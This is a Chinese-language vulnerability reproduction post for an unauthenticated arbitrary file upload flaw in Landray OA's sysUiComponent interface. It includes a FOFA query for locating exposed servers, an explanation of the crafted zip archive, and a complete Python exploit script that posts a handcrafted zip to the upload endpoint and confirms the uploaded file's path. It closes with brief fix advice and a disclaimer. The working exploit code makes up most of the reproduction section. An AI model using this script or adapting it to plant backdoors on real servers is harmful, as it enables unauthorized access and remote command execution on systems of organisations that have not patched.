【漏洞复现】蓝凌OA sysUiComponent 任意文件上传漏洞
阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
产品介绍
EKP,是蓝凌旗下的协同办公平台,其定位在平台型产品,它是结合蓝凌知识管理及移动互联网理念设计,综合企业管理支撑系统发展而来,并将协同办公、知识共享、文化管理、战略管理等融合为一体,通过企业门户统一战线,满足用户个性化办公要求的一体化工作平台。
漏洞概述
蓝凌OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,远程命令执行,获取服务器权限。
复现环境
FOFA:icon_hash="831854882"
漏洞复现
构建测试压缩包(共两个文件,分别为:component.ini 和 上传的文件)
component.ini的文件内容如下:
id=2023
name=123.txt
其中,id为上传后的路径,name为上传的文件名,如下:
EXP如下:
1 import requests
2 from urllib.parse import urlparse
3 from requests.packages.urllib3 import disable_warnings
4 disable_warnings()
5
6
7 class poc:
8 def __init__(self, url):
9 self.url = url
10 self.headers = {
11 'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
12 "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
13 "Accept-Encoding": "gzip, deflate",
14 }
15
16 def host(self):
17 url = urlparse(self.url)
18 netloc = url.netloc
19 scheme = url.scheme
20 return scheme, netloc
21
22 def vuln(self, netloc, scheme):
23 url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
24 data = {
25 "file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
26 }
27 self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
28 try:
29 result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
30 if result.status_code == 200 and "directoryPath" in result.text:
31 print("漏洞存在!")
32 print("验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
33 return True
34 else:
35 print("漏洞不存在!")
36 return False
37 except Exception as e:
38 print("漏洞不存在!")
39 return False
40
41 def main(self):
42 all = self.host()
43 scheme = all[0]
44 netloc = all[1]
45 self.vuln(netloc, scheme)
46
47
48 if __name__ == '__main__':
49 url = "http://x.x.x.x"
50 poc(url).main()
验证url:
http://x.x.x.x/resource/ui-component/2023/123.txt
PS:我这里上传的都是无害文件。
修复建议
1、文件上传模块做好权限管控;
2、升级至安全版本或打补丁。